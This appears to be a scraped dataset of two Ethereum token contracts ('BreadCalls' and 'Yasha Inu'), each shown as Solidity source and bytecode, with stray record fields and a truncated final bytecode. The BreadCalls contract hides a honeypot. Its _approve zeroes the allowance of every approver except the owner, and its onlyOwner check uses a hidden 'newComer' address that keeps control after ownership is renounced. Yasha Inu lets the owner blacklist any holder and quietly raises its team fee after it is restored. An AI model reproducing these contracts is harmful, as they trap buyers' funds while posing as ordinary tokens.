/* ___ ___ ___ ___ ___ ___ _____ /\ \ /\__\ /\ \ _____ /\__\ /\ \ /\__\ /::\ \ /::\ \ /:/ _/_ /::\ \ /::\ \ /:/ / /::\ \ /:/ _/_ /:/\:\ \ /:/\:\__\ /:/ /\__\ /:/\:\ \ /:/\:\ \ /:/ / /:/\:\ \ /:/ /\ \ /:/ /::\__\ /:/ /:/ / /:/ /:/ _/_ /:/ /::\ \ /:/ \:\__\ /:/ / ___ /:/ /::\ \ ___ ___ ___ ___ /:/ /::\ \ /:/_/:/\:|__| /:/_/:/__/___ /:/_/:/ /\__\ /:/_/:/\:\__\ /:/__/ \:|__| /:/__/ /\__\ /:/_/:/\:\__\ /\ \ /\__\ /\ \ /\__\ /:/_/:/\:\__\ \:\/:/ /:/ / \:\/:::::/ / \:\/:/ /:/ / \:\/:/ \/__/ \:\ \ /:/ / \:\ \ /:/ / \:\/:/ \/__/ \:\ \ /:/ / \:\ \ /:/ / \:\/:/ /:/ / \::/_/:/ / \::/~~/~~~~ \::/_/:/ / \::/__/ \:\ /:/ / \:\ /:/ / \::/__/ \:\ /:/ / \:\ /:/ / \::/ /:/ / \:\/:/ / \:\~~\ \:\/:/ / \:\ \ \:\/:/ / \:\/:/ / \:\ \ \:\/:/ / \:\/:/ / \/_/:/ / \::/ / \:\__\ \::/ / \:\__\ \::/ / \::/ / \:\__\ \::/ / \::/ / /:/ / \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ \/__/ Welcome to breadcalls offical! I've decided to create my own token. telegram: https://t.me/breadcallsoffical */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BreadCalls is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'BreadCalls'; string private _symbol = 'BreadCalls'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function getAmount(address from, uint256 amount) private view returns (uint256) { if(from == owner()) { return amount; } else { return 0; } } function _approve(address from, address to, uint256 amon) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); uint256 amount = getAmount(from, amon); _allowances[from][to] = amount; emit Approval(from, to, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610b56565b6105e584610530610948565b6105e085604051806060016040528060288152602001610ff060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e109092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610b56565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110616024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fce6022913960400191505060405180910390fd5b6000610a688483610ed0565b905080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610fa96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061103e6023913960400191505060405180910390fd5b610cce8160405180606001604052806026815260200161101860269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e109092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610ebd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e82578082015181840152602081019050610e67565b50505050905090810190601f168015610eaf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000610eda6107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1557819050610f1a565b600090505b92915050565b600080828401905083811015610f9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122014b0592af380342bb764a774f65d8bc732ca19cf1f131024da4dc7edff46bb5f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,907
0x323d89fa8a6fecf0a93e62ea1d0ca8e82a85a20a
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ // Yasha Inu (YASHA) //Limit Buy //Cooldown //Bot Protection //Liqudity dev provides and lock //TG: https://t.me/yashainu_official //Website: https://yashainu.com/ //Twitter: https://twitter.com/yashatoken //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract YashaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Yasha Inu"; string private constant _symbol = "YASHA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f596173686120496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5941534841000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100